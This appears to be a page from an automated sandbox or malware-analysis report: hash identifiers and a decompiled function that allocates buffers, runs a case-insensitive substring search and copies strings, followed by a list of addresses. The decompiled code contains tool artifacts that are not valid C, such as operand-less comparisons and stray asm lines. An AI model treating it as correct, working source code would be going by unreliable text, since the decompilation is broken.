API String ID: 0-2766056989
Opcode ID: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction ID: 0c1af57c7d0e8d1221485c04bd31ceeb8b9e1b3c0792fe6e656ad4596af371dc
Opcode Fuzzy Hash: 73f22bc3af338c376e1a23e00c2844d1b588c229ff9a55b9cec960deeffedffd
Instruction Fuzzy Hash: 73320671A187D38FD711CAA9C49033A7FE6AFC6300F18866DE9A48B265EF35C841C742

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB26B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6EBB26B0(signed int __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t183;
				signed int _t184;
				signed int* _t190;
				signed int _t194;
				signed int* _t195;
				signed int _t200;
				signed int _t204;
				void* _t206;
				signed int _t209;
				signed int _t212;
				signed int _t217;
				signed int* _t219;
				signed int _t220;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t227;
				signed int _t228;
				signed int _t231;
				signed int _t232;
				signed int _t235;
				char _t236;
				signed int _t240;
				void* _t241;
				void* _t242;
				unsigned int _t247;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				signed int _t254;
				signed int _t255;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				char _t260;
				char _t261;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				signed int _t272;
				signed int _t273;
				signed int _t275;
				signed int _t277;
				signed int _t279;
				signed int _t280;
				void* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t284;
				void* _t285;
				signed int _t289;
				void* _t290;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				intOrPtr* _t295;
				void* _t296;
				signed int _t297;
				intOrPtr* _t298;
				signed int _t299;
				signed int _t300;
				void* _t303;
				signed int _t305;
				char _t306;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t329;
				char _t331;
				char _t332;
				char _t333;
				signed int _t335;
				unsigned int _t340;
				signed int _t342;
				intOrPtr _t344;
				intOrPtr _t346;
				signed int _t347;
				signed int _t356;
				signed int _t358;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t373;
				intOrPtr* _t376;
				signed int _t377;
				signed int _t383;
				signed int _t384;
				void* _t387;

				_v52 = 0;
				_t231 = __ecx;
				_v48 = 0;
				_push(0x40);
				_t335 = E6EBA1030();
				_t387 = (_t384 & 0xfffffff0) - 0x34 + 4;
				_t183 = _v52;
				if(_t183 == 0) {
					 *_t335 = 0;
					L8:
					_t184 = _a8;
					_v48 = 0x40;
					_v52 = _t335;
					if(_t184 != 0) {
						__eflags = _t335;
						if(_t335 == 0) {
							_t257 = 0x40;
							_t361 = 0;
							L22:
							_t20 = _t361 + 2; // 0x80000001
							_t290 = _t20;
							__eflags = _t290 - 0x40;
							_t291 =  <=  ? 0x40 : _t290;
							__eflags = _t257 - _t291;
							if(_t257 < _t291) {
								_t340 = (_t291 >> 5 >> 0x1a) + _t291 >> 6;
								_t292 = _t291 & 0x8000003f;
								__eflags = _t292;
								if(_t292 < 0) {
									_t292 = (_t292 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t292;
								}
								__eflags = _t292;
								_t342 = _t340 + (0 | _t292 > 0x00000000) << 6;
								_push(_t342);
								_t258 = E6EBA1030();
								_t387 = _t387 + 4;
								_t293 = _v52;
								__eflags = _t293;
								if(_t293 == 0) {
									 *_t258 = 0;
									goto L35;
								} else {
									__eflags = _t258;
									if(_t258 == 0) {
										L33:
										_push(1);
										_push(_t293);
										_v68 = _t258;
										E6EBA10B0();
										_t258 = _v68;
										_t387 = _t387 + 8;
										L35:
										_v48 = _t342;
										_v52 = _t258;
										L36:
										 *((char*)(_t258 + _t361)) = _a8;
										_t190 =  &_v52;
										 *((char*)(_t361 +  *_t190 + 1)) = 0;
										L37:
										_t259 =  *_t190;
										if(_t259 == 0) {
											L39:
											_t295 = _a4;
											_push(0x40);
											 *_t295 = 0;
											 *((intOrPtr*)(_t295 + 4)) = 0;
											_t232 = E6EBA1030();
											_t387 = _t387 + 4;
											_t194 =  *_a4;
											if(_t194 == 0) {
												 *_t232 = 0;
												L60:
												_t195 = _a4;
												 *_t195 = _t232;
												_t195[1] = 0x40;
												L61:
												_push(1);
												_push(_v52);
												E6EBA10B0();
												_v52 = 0;
												_v48 = 0;
												return _a4;
											}
											if(_t232 == 0) {
												L45:
												_push(1);
												_push(_t194);
												E6EBA10B0();
												_t387 = _t387 + 8;
												goto L60;
											}
											_t296 =  *_t194;
											 *_t232 = _t296;
											if(_t296 == 0) {
												goto L45;
											}
											_t297 = 0;
											while(1) {
												_t297 = _t297 + 1;
												_t260 =  *((char*)(_t194 + _t297 * 2 - 1));
												 *((char*)(_t232 + _t297 * 2 - 1)) = _t260;
												if(_t260 == 0) {
													goto L45;
												}
												_t261 =  *((char*)(_t194 + _t297 * 2));
												 *((char*)(_t232 + _t297 * 2)) = _t261;
												if(_t261 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t344 =  *_t259;
										if(_t344 != 0) {
											_t200 =  *_t231;
											__eflags = _t200;
											if(_t200 == 0) {
												L52:
												_t298 = _a4;
												_push(0x40);
												 *_t298 = 0;
												 *((intOrPtr*)(_t298 + 4)) = 0;
												_t232 = E6EBA1030();
												_t387 = _t387 + 4;
												_t204 =  *_a4;
												__eflags = _t204;
												if(_t204 == 0) {
													 *_t232 = 0;
													goto L60;
												}
												__eflags = _t232;
												if(_t232 == 0) {
													L58:
													_push(1);
													_push(_t204);
													E6EBA10B0();
													_t387 = _t387 + 8;
													goto L60;
												}
												_t299 =  *_t204;
												 *_t232 = _t299;
												__eflags = _t299;
												if(_t299 == 0) {
													goto L58;
												}
												_t300 = 0;
												__eflags = 0;
												while(1) {
													_t300 = _t300 + 1;
													_t262 =  *((char*)(_t204 + _t300 * 2 - 1));
													 *(_t232 + _t300 * 2 - 1) = _t262;
													__eflags = _t262;
													if(_t262 == 0) {
														goto L58;
													}
													_t263 =  *((char*)(_t204 + _t300 * 2));
													 *(_t232 + _t300 * 2) = _t263;
													__eflags = _t263;
													if(_t263 != 0) {
														continue;
													}
													goto L58;
												}
												goto L58;
											}
											__eflags =  *_t200;
											if( *_t200 == 0) {
												goto L52;
											}
											_v44 = _t344;
											_t62 = _t344 - 0x41; // 0x7fffffc0
											_t363 = _t62;
											__eflags = _t363 - 0x19;
											_t63 = _t344 + 0x20; // 0x80000021
											_v64 = _t363;
											_t302 =  >  ? _t344 : _t63;
											_t234 =  >  ? _t344 : _t63;
											_t303 = 0;
											__eflags = 0;
											_v68 =  >  ? _t344 : _t63;
											_v32 = _t259;
											_t235 = _t200;
											while(1) {
												_t264 =  *_t235;
												_t66 = _t264 - 0x41; // -65
												__eflags = _t66 - 0x19;
												_t67 = _t264 + 0x20; // 0x20
												_t265 =  <=  ? _t67 :  *_t235;
												__eflags = ( <=  ? _t67 :  *_t235) - _v68;
												if(( <=  ? _t67 :  *_t235) == _v68) {
													break;
												}
												_t303 = _t303 + 1;
												_t235 = _t235 + 1;
												__eflags =  *((char*)(_t303 + _t200));
												if( *((char*)(_t303 + _t200)) != 0) {
													continue;
												}
												goto L52;
											}
											_t346 = _v44;
											_t266 = _v32;
											__eflags = _t235;
											if(_t235 == 0) {
												goto L52;
											}
											_t305 = _t266 & 0x0000000f;
											_v40 = _t346 + 0x20;
											asm("pxor xmm0, xmm0");
											_v36 = _t200;
											_t368 =  ~_t305 + 0x10;
											__eflags = _t368;
											_v44 = _t346;
											_v32 = _t266;
											do {
												_t347 = _t305;
												__eflags = _t305;
												if(_t305 == 0) {
													L69:
													_v28 = _t368;
													_t272 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t272;
													_t369 = _v32;
													while(1) {
														asm("movdqu xmm1, [esi+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t200;
														if(_t200 != 0) {
															break;
														}
														_t347 = _t347 + 0x10;
														__eflags = _t347 - _t272;
														if(_t347 < _t272) {
															continue;
														}
														_v32 = _t369;
														_t370 = _v28;
														__eflags = _t272 - 0x7fffffff;
														if(_t272 >= 0x7fffffff) {
															L77:
															_t272 = 0x7fffffff;
															L78:
															_v56 = _t272;
															_t206 = 0;
															__eflags = 0;
															_v60 = _t305;
															_v28 = _t370;
															_t273 = _v32;
															while(1) {
																_t306 =  *((char*)(_t206 + _t235));
																_v68 = _t235;
																_t236 =  *((char*)(_t206 + _t273));
																__eflags = _t306 - 0x61 - 0x19;
																_t307 =  <=  ? _t306 - 0x20 : _t306;
																__eflags = _t236 - 0x61 - 0x19;
																_t308 =  <=  ? _t306 - 0x20 : _t306;
																_t237 =  <=  ? _t236 - 0x20 : _t236;
																_t238 =  <=  ? _t236 - 0x20 : _t236;
																__eflags = _t308 - ( <=  ? _t236 - 0x20 : _t236);
																_t235 = _v68;
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t308;
																if(_t308 == 0) {
																	L83:
																	_t209 = _v36;
																	_t305 = _v60;
																	_t368 = _v28;
																	L84:
																	__eflags = _t235;
																	if(_t235 == 0) {
																		goto L52;
																	}
																	__eflags = _t305;
																	if(_t305 == 0) {
																		L89:
																		_t356 =  ~( ~_t305 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																		__eflags = _t356;
																		while(1) {
																			asm("movdqu xmm1, [ecx+edx]");
																			asm("pcmpeqb xmm1, xmm0");
																			asm("pmovmskb esi, xmm1");
																			__eflags = _t368;
																			if(_t368 != 0) {
																				break;
																			}
																			_t305 = _t305 + 0x10;
																			__eflags = _t305 - _t356;
																			if(_t305 < _t356) {
																				continue;
																			}
																			__eflags = _t356 - 0x7fffffff;
																			if(_t356 >= 0x7fffffff) {
																				L95:
																				_t356 = 0x7fffffff;
																				L96:
																				_t277 = _t209 & 0x0000000f;
																				__eflags = _t277;
																				if(_t277 == 0) {
																					L100:
																					_t317 =  ~( ~_t277 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																					__eflags = _t317;
																					while(1) {
																						asm("movdqu xmm1, [eax+ecx]");
																						asm("pcmpeqb xmm1, xmm0");
																						asm("pmovmskb esi, xmm1");
																						__eflags = _t368;
																						if(_t368 != 0) {
																							break;
																						}
																						_t277 = _t277 + 0x10;
																						__eflags = _t277 - _t317;
																						if(_t277 < _t317) {
																							continue;
																						}
																						__eflags = _t317 - 0x7fffffff;
																						if(_t317 >= 0x7fffffff) {
																							L106:
																							_t317 = 0x7fffffff;
																							L107:
																							_t240 = _t235 - _t209 + _t356;
																							__eflags = _t240;
																							_t376 = _a4;
																							_t241 =  <=  ? 0 : _t240;
																							__eflags = _t317 - _t241;
																							 *_t376 = 0;
																							_t242 =  <  ? _t317 : _t241;
																							_t318 = _t317 - _t242;
																							 *((intOrPtr*)(_t376 + 4)) = 0;
																							_t358 = _t209 + _t242;
																							__eflags = _t358;
																							_v64 = _t358;
																							if(_t358 == 0) {
																								L142:
																								_push(0x40);
																								_t232 = E6EBA1030();
																								_t387 = _t387 + 4;
																								_t212 =  *_a4;
																								__eflags = _t212;
																								if(_t212 == 0) {
																									 *_t232 = 0;
																									goto L60;
																								}
																								__eflags = _t232;
																								if(_t232 == 0) {
																									L148:
																									_push(1);
																									_push(_t212);
																									E6EBA10B0();
																									_t387 = _t387 + 8;
																									goto L60;
																								}
																								_t319 =  *_t212;
																								 *_t232 = _t319;
																								__eflags = _t319;
																								if(_t319 == 0) {
																									goto L148;
																								}
																								_t320 = 0;
																								__eflags = 0;
																								while(1) {
																									_t320 = _t320 + 1;
																									_t279 =  *((char*)(_t212 + _t320 * 2 - 1));
																									 *(_t232 + _t320 * 2 - 1) = _t279;
																									__eflags = _t279;
																									if(_t279 == 0) {
																										goto L148;
																									}
																									_t280 =  *((char*)(_t212 + _t320 * 2));
																									 *(_t232 + _t320 * 2) = _t280;
																									__eflags = _t280;
																									if(_t280 != 0) {
																										continue;
																									}
																									goto L148;
																								}
																								goto L148;
																							}
																							__eflags =  *(_t209 + _t242);
																							if( *(_t209 + _t242) == 0) {
																								goto L142;
																							}
																							__eflags = _t318;
																							if(_t318 != 0) {
																								L121:
																								_t129 = _t318 + 1; // 0x80000000
																								_t281 = _t129;
																								__eflags = _t281 - 0x40;
																								_t282 =  <=  ? 0x40 : _t281;
																								__eflags = _t282;
																								if(_t282 > 0) {
																									_t247 = (_t282 >> 5 >> 0x1a) + _t282 >> 6;
																									_t283 = _t282 & 0x8000003f;
																									__eflags = _t283;
																									if(_t283 < 0) {
																										_t283 = (_t283 - 0x00000001 | 0xffffffc0) + 1;
																										__eflags = _t283;
																									}
																									__eflags = _t283;
																									_t249 = _t247 + (0 | _t283 > 0x00000000) << 6;
																									_push(_t249);
																									_v68 = _t318;
																									_t217 = E6EBA1030();
																									_t318 = _v68;
																									_t377 = _t217;
																									_t387 = _t387 + 4;
																									_t284 =  *_a4;
																									__eflags = _t284;
																									if(_t284 == 0) {
																										 *_t377 = 0;
																										goto L134;
																									} else {
																										__eflags = _t377;
																										if(_t377 == 0) {
																											L132:
																											_push(1);
																											_push(_t284);
																											_v68 = _t318;
																											E6EBA10B0();
																											_t318 = _v68;
																											_t387 = _t387 + 8;
																											L134:
																											_t219 = _a4;
																											_t219[1] = _t249;
																											 *_t219 = _t377;
																											L135:
																											__eflags = _t377;
																											if(_t377 == 0) {
																												goto L61;
																											}
																											_t250 = _v64;
																											_t285 = 0;
																											while(1) {
																												_t220 =  *_t250;
																												_t285 = _t285 + 1;
																												 *_t377 = _t220;
																												__eflags = _t318;
																												if(_t318 == 0) {
																													goto L140;
																												}
																												__eflags = _t285 - _t318;
																												if(_t285 == _t318) {
																													 *(_t377 + 1) = 0;
																													goto L61;
																												}
																												L140:
																												__eflags = _t220;
																												if(_t220 == 0) {
																													goto L61;
																												}
																												_t377 = _t377 + 1;
																												_t250 = _t250 + 1;
																												__eflags = _t250;
																											}
																										}
																										_t222 =  *_t284;
																										 *_t377 = _t222;
																										__eflags = _t222;
																										if(_t222 == 0) {
																											goto L132;
																										}
																										_v68 = _t318;
																										_t359 = 0;
																										__eflags = 0;
																										while(1) {
																											_t359 = _t359 + 1;
																											_t223 =  *((char*)(_t284 + _t359 * 2 - 1));
																											 *(_t377 + _t359 * 2 - 1) = _t223;
																											__eflags = _t223;
																											if(_t223 == 0) {
																												break;
																											}
																											_t224 =  *((char*)(_t284 + _t359 * 2));
																											 *(_t377 + _t359 * 2) = _t224;
																											__eflags = _t224;
																											if(_t224 != 0) {
																												continue;
																											}
																											break;
																										}
																										_t318 = _v68;
																										goto L132;
																									}
																								}
																								_t377 = 0;
																								goto L135;
																							}
																							_t225 = _t209 + _t242;
																							_t252 = _t225 & 0x0000000f;
																							__eflags = _t252;
																							if(_t252 == 0) {
																								L114:
																								_t318 =  ~( ~_t252 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																								__eflags = _t318;
																								while(1) {
																									asm("movdqu xmm1, [eax+ebx]");
																									asm("pcmpeqb xmm1, xmm0");
																									asm("pmovmskb ecx, xmm1");
																									__eflags = 0;
																									if(0 != 0) {
																										break;
																									}
																									_t252 = _t252 + 0x10;
																									__eflags = _t252 - _t318;
																									if(_t252 < _t318) {
																										continue;
																									}
																									__eflags = _t318 - 0x7fffffff;
																									if(_t318 >= 0x7fffffff) {
																										L120:
																										_t318 = 0x7fffffff;
																										goto L121;
																									} else {
																										goto L118;
																									}
																									while(1) {
																										L118:
																										__eflags =  *((char*)(_t318 + _t225));
																										if( *((char*)(_t318 + _t225)) == 0) {
																											goto L121;
																										}
																										_t318 = _t318 + 1;
																										__eflags = _t318 - 0x7fffffff;
																										if(_t318 < 0x7fffffff) {
																											continue;
																										}
																										goto L120;
																									}
																									goto L121;
																								}
																								asm("bsf edx, ecx");
																								_t318 = _t318 + _t252;
																								goto L121;
																							}
																							_t318 = 0;
																							_t252 =  ~_t252 + 0x10;
																							__eflags = _t252;
																							while(1) {
																								__eflags =  *((char*)(_t318 + _t225));
																								if( *((char*)(_t318 + _t225)) == 0) {
																									goto L121;
																								}
																								_t318 = _t318 + 1;
																								__eflags = _t318 - _t252;
																								if(_t318 < _t252) {
																									continue;
																								}
																								goto L114;
																							}
																							goto L121;
																						} else {
																							goto L104;
																						}
																						while(1) {
																							L104:
																							__eflags =  *((char*)(_t317 + _t209));
																							if( *((char*)(_t317 + _t209)) == 0) {
																								goto L107;
																							}
																							_t317 = _t317 + 1;
																							__eflags = _t317 - 0x7fffffff;
																							if(_t317 < 0x7fffffff) {
																								continue;
																							}
																							goto L106;
																						}
																						goto L107;
																					}
																					asm("bsf edx, esi");
																					_t317 = _t317 + _t277;
																					goto L107;
																				}
																				_t317 = 0;
																				_t277 =  ~_t277 + 0x10;
																				__eflags = _t277;
																				while(1) {
																					__eflags =  *((char*)(_t317 + _t209));
																					if( *((char*)(_t317 + _t209)) == 0) {
																						goto L107;
																					}
																					_t317 = _t317 + 1;
																					__eflags = _t317 - _t277;
																					if(_t317 < _t277) {
																						continue;
																					}
																					goto L100;
																				}
																				goto L107;
																			} else {
																				goto L93;
																			}
																			while(1) {
																				L93:
																				__eflags =  *((char*)(_t356 + _t273));
																				if( *((char*)(_t356 + _t273)) == 0) {
																					goto L96;
																				}
																				_t356 = _t356 + 1;
																				__eflags = _t356 - 0x7fffffff;
																				if(_t356 < 0x7fffffff) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L96;
																		}
																		asm("bsf edi, esi");
																		_t356 = _t356 + _t305;
																		goto L96;
																	}
																	_t305 = _t368;
																	_t356 = 0;
																	__eflags = 0;
																	while(1) {
																		__eflags =  *((char*)(_t356 + _t273));
																		if( *((char*)(_t356 + _t273)) == 0) {
																			goto L96;
																		}
																		_t356 = _t356 + 1;
																		__eflags = _t356 - _t368;
																		if(_t356 < _t368) {
																			continue;
																		}
																		goto L89;
																	}
																	goto L96;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v56;
																if(_t206 < _v56) {
																	continue;
																}
																goto L83;
															}
															_v32 = _t273;
															_t309 = _v60;
															_t373 = _v28;
															_t275 = _t235 + 1;
															__eflags = _t275;
															if(_t275 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v40 : _v44;
															_t200 =  <=  ? _v40 : _v44;
															__eflags =  *(_t235 + 1);
															if( *(_t235 + 1) == 0) {
																goto L52;
															}
															_v60 = _t309;
															_v28 = _t373;
															while(1) {
																_t235 = _t235 + 1;
																_t275 = _t275 + 1;
																_t310 =  *_t235 & 0x000000ff;
																__eflags =  *((char*)(_t275 - 1)) + 0xffffffbf - 0x19;
																_t311 =  <=  ? _t310 + 0x20 : _t310;
																__eflags = ( <=  ? _t310 + 0x20 : _t310) - _t200;
																if(( <=  ? _t310 + 0x20 : _t310) == _t200) {
																	goto L165;
																}
																__eflags =  *_t275;
																if( *_t275 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L165;
														}
														_t200 = _v32;
														while(1) {
															__eflags =  *((char*)(_t272 + _t200));
															if( *((char*)(_t272 + _t200)) == 0) {
																break;
															}
															_t272 = _t272 + 1;
															__eflags = _t272 - 0x7fffffff;
															if(_t272 < 0x7fffffff) {
																continue;
															}
															_v32 = _t200;
															goto L77;
														}
														L160:
														_v32 = _t200;
														L161:
														__eflags = _t272;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														_t209 = _v36;
														_t273 = _v32;
														goto L84;
													}
													asm("bsf ecx, eax");
													_v32 = _t369;
													_t272 = _t272 + _t347;
													_t370 = _v28;
													goto L161;
												}
												_t200 = _v32;
												_t347 = _t368;
												_t272 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t272 + _t200));
													if( *((char*)(_t272 + _t200)) == 0) {
														goto L160;
													}
													_t272 = _t272 + 1;
													__eflags = _t272 - _t368;
													if(_t272 < _t368) {
														continue;
													}
													_v32 = _t200;
													goto L69;
												}
												goto L160;
												L165:
												_t305 = _v60;
												_t368 = _v28;
												__eflags = _t235;
											} while (_t235 != 0);
											goto L52;
										}
										goto L39;
									}
									_t227 =  *_t293;
									 *_t258 = _t227;
									__eflags = _t227;
									if(_t227 == 0) {
										goto L33;
									}
									_v60 = _t342;
									_t228 = 0;
									__eflags = 0;
									_v64 = _t361;
									_v68 = _t231;
									while(1) {
										_t228 = _t228 + 1;
										_t254 =  *((char*)(_t293 + _t228 * 2 - 1));
										 *(_t258 + _t228 * 2 - 1) = _t254;
										__eflags = _t254;
										if(_t254 == 0) {
											break;
										}
										_t255 =  *((char*)(_t293 + _t228 * 2));
										 *(_t258 + _t228 * 2) = _t255;
										__eflags = _t255;
										if(_t255 != 0) {
											continue;
										}
										break;
									}
									_t342 = _v60;
									_t361 = _v64;
									_t231 = _v68;
									goto L33;
								}
							}
							_t258 = _v52;
							goto L36;
						}
						_t329 = _t335 & 0x0000000f;
						__eflags = _t329;
						if(_t329 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t383 =  ~( ~_t329 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t383;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t184;
								if(_t184 != 0) {
									break;
								}
								_t329 = _t329 + 0x10;
								__eflags = _t329 - _t383;
								if(_t329 < _t383) {
									continue;
								}
								__eflags = _t383 - 0x7fffffff;
								if(_t383 >= 0x7fffffff) {
									L21:
									_t257 = 0x40;
									_t361 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t383 + _t335));
									if( *((char*)(_t383 + _t335)) == 0) {
										break;
									}
									_t383 = _t383 + 1;
									__eflags = _t383 - 0x7fffffff;
									if(_t383 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L167:
								__eflags = _t361 - 0xfffffffe;
								if(_t361 != 0xfffffffe) {
									_t257 = 0x40;
								} else {
									 *_t335 = 0;
									_t257 = _v48;
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t361 = _t383 + _t329;
							goto L167;
						}
						_t361 = 0;
						_t329 =  ~_t329 + 0x10;
						__eflags = _t329;
						while(1) {
							__eflags =  *((char*)(_t361 + _t335));
							if( *((char*)(_t361 + _t335)) == 0) {
								goto L167;
							}
							_t361 = _t361 + 1;
							__eflags = _t361 - _t329;
							if(_t361 < _t329) {
								continue;
							}
							goto L15;
						}
						goto L167;
					}
					_t190 =  &_v52;
					goto L37;
				}
				if(_t335 == 0) {
					L6:
					_push(1);
					_push(_t183);
					E6EBA10B0();
					_t387 = _t387 + 8;
					goto L8;
				}
				_t331 =  *_t183;
				 *_t335 = _t331;
				if(_t331 == 0) {
					goto L6;
				}
				_t289 = 0;
				while(1) {
					_t289 = _t289 + 1;
					_t332 =  *((char*)(_t183 + _t289 * 2 - 1));
					 *((char*)(_t335 + _t289 * 2 - 1)) = _t332;
					if(_t332 == 0) {
						goto L6;
					}
					_t333 =  *((char*)(_t183 + _t289 * 2));
					 *((char*)(_t335 + _t289 * 2)) = _t333;
					if(_t333 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ebb26be
0x6ebb26c2
0x6ebb26c4
0x6ebb26c8
0x6ebb26cf
0x6ebb26d1
0x6ebb26d4
0x6ebb26da
0x6ebb2711
0x6ebb2714
0x6ebb2714
0x6ebb2718
0x6ebb2720
0x6ebb2726
0x6ebb2731
0x6ebb2733
0x6ebb2e47
0x6ebb2e4c
0x6ebb27ad
0x6ebb27b2
0x6ebb27b2
0x6ebb27b5
0x6ebb27b8
0x6ebb27bb
0x6ebb27bd
0x6ebb27d2
0x6ebb27d5
0x6ebb27d5
0x6ebb27db
0x6ebb27e3
0x6ebb27e3
0x6ebb27e3
0x6ebb27e6
0x6ebb27ed
0x6ebb27f0
0x6ebb27f6
0x6ebb27f8
0x6ebb27fb
0x6ebb27ff
0x6ebb2801
0x6ebb2856
0x00000000
0x6ebb2803
0x6ebb2803
0x6ebb2805
0x6ebb2841
0x6ebb2841
0x6ebb2843
0x6ebb2844
0x6ebb2848
0x6ebb284d
0x6ebb2851
0x6ebb2859
0x6ebb2859
0x6ebb285d
0x6ebb2861
0x6ebb2865
0x6ebb2868
0x6ebb286e
0x6ebb2873
0x6ebb2873
0x6ebb2877
0x6ebb2880
0x6ebb2880
0x6ebb2885
0x6ebb2887
0x6ebb2889
0x6ebb2891
0x6ebb2893
0x6ebb2899
0x6ebb289d
0x6ebb28d7
0x6ebb2983
0x6ebb2983
0x6ebb2986
0x6ebb2988
0x6ebb298f
0x6ebb298f
0x6ebb2991
0x6ebb2995
0x6ebb299f
0x6ebb29a3
0x6ebb29b3
0x6ebb29b3
0x6ebb28a1
0x6ebb28c7
0x6ebb28c7
0x6ebb28c9
0x6ebb28ca
0x6ebb28cf
0x00000000
0x6ebb28cf
0x6ebb28a3
0x6ebb28a6
0x6ebb28aa
0x00000000
0x00000000
0x6ebb28ac
0x6ebb28ae
0x6ebb28ae
0x6ebb28af
0x6ebb28b4
0x6ebb28ba
0x00000000
0x00000000
0x6ebb28bc
0x6ebb28c0
0x6ebb28c5
0x00000000
0x00000000
0x00000000
0x6ebb28c5
0x00000000
0x6ebb28ae
0x6ebb2879
0x6ebb287e
0x6ebb28df
0x6ebb28e1
0x6ebb28e3
0x6ebb292c
0x6ebb292c
0x6ebb2931
0x6ebb2933
0x6ebb2935
0x6ebb293d
0x6ebb293f
0x6ebb2945
0x6ebb2947
0x6ebb2949
0x6ebb2980
0x00000000
0x6ebb2980
0x6ebb294b
0x6ebb294d
0x6ebb2973
0x6ebb2973
0x6ebb2975
0x6ebb2976
0x6ebb297b
0x00000000
0x6ebb297b
0x6ebb294f
0x6ebb2952
0x6ebb2954
0x6ebb2956
0x00000000
0x00000000
0x6ebb2958
0x6ebb2958
0x6ebb295a
0x6ebb295a
0x6ebb295b
0x6ebb2960
0x6ebb2964
0x6ebb2966
0x00000000
0x00000000
0x6ebb2968
0x6ebb296c
0x6ebb296f
0x6ebb2971
0x00000000
0x00000000
0x00000000
0x6ebb2971
0x00000000
0x6ebb295a
0x6ebb28e5
0x6ebb28e8
0x00000000
0x00000000
0x6ebb28ea
0x6ebb28ee
0x6ebb28ee
0x6ebb28f1
0x6ebb28f4
0x6ebb28f7
0x6ebb28fb
0x6ebb28fe
0x6ebb2901
0x6ebb2901
0x6ebb2903
0x6ebb2906
0x6ebb290a
0x6ebb290c
0x6ebb290c
0x6ebb290f
0x6ebb2912
0x6ebb2915
0x6ebb2918
0x6ebb291b
0x6ebb291e
0x00000000
0x00000000
0x6ebb2924
0x6ebb2925
0x6ebb2926
0x6ebb292a
0x00000000
0x00000000
0x00000000
0x6ebb292a
0x6ebb29b6
0x6ebb29ba
0x6ebb29be
0x6ebb29c0
0x00000000
0x00000000
0x6ebb29cb
0x6ebb29ce
0x6ebb29d6
0x6ebb29da
0x6ebb29de
0x6ebb29de
0x6ebb29e1
0x6ebb29e5
0x6ebb29e9
0x6ebb29e9
0x6ebb29eb
0x6ebb29ed
0x6ebb2a0a
0x6ebb2a16
0x6ebb2a1a
0x6ebb2a1a
0x6ebb2a20
0x6ebb2a24
0x6ebb2a24
0x6ebb2a29
0x6ebb2a2d
0x6ebb2a31
0x6ebb2a33
0x00000000
0x00000000
0x6ebb2a39
0x6ebb2a3c
0x6ebb2a3e
0x00000000
0x00000000
0x6ebb2a40
0x6ebb2a44
0x6ebb2a48
0x6ebb2a4e
0x6ebb2a6b
0x6ebb2a6b
0x6ebb2a70
0x6ebb2a70
0x6ebb2a74
0x6ebb2a74
0x6ebb2a76
0x6ebb2a7a
0x6ebb2a7e
0x6ebb2a82
0x6ebb2a82
0x6ebb2a86
0x6ebb2a89
0x6ebb2a90
0x6ebb2a99
0x6ebb2a9c
0x6ebb2a9f
0x6ebb2aa5
0x6ebb2aa8
0x6ebb2aab
0x6ebb2aad
0x6ebb2ab0
0x00000000
0x00000000
0x6ebb2abc
0x6ebb2abe
0x6ebb2ac7
0x6ebb2ac7
0x6ebb2acb
0x6ebb2acf
0x6ebb2ad3
0x6ebb2ad3
0x6ebb2ad5
0x00000000
0x00000000
0x6ebb2adb
0x6ebb2add
0x6ebb2aee
0x6ebb2afa
0x6ebb2afa
0x6ebb2b00
0x6ebb2b00
0x6ebb2b05
0x6ebb2b09
0x6ebb2b0d
0x6ebb2b0f
0x00000000
0x00000000
0x6ebb2b15
0x6ebb2b18
0x6ebb2b1a
0x00000000
0x00000000
0x6ebb2b1c
0x6ebb2b22
0x6ebb2b33
0x6ebb2b33
0x6ebb2b38
0x6ebb2b3a
0x6ebb2b3a
0x6ebb2b3d
0x6ebb2b51
0x6ebb2b5d
0x6ebb2b5d
0x6ebb2b63
0x6ebb2b63
0x6ebb2b68
0x6ebb2b6c
0x6ebb2b70
0x6ebb2b72
0x00000000
0x00000000
0x6ebb2b78
0x6ebb2b7b
0x6ebb2b7d
0x00000000
0x00000000
0x6ebb2b7f
0x6ebb2b85
0x6ebb2b96
0x6ebb2b96
0x6ebb2b9b
0x6ebb2b9f
0x6ebb2ba3
0x6ebb2ba5
0x6ebb2ba8
0x6ebb2bab
0x6ebb2bad
0x6ebb2baf
0x6ebb2bb2
0x6ebb2bb4
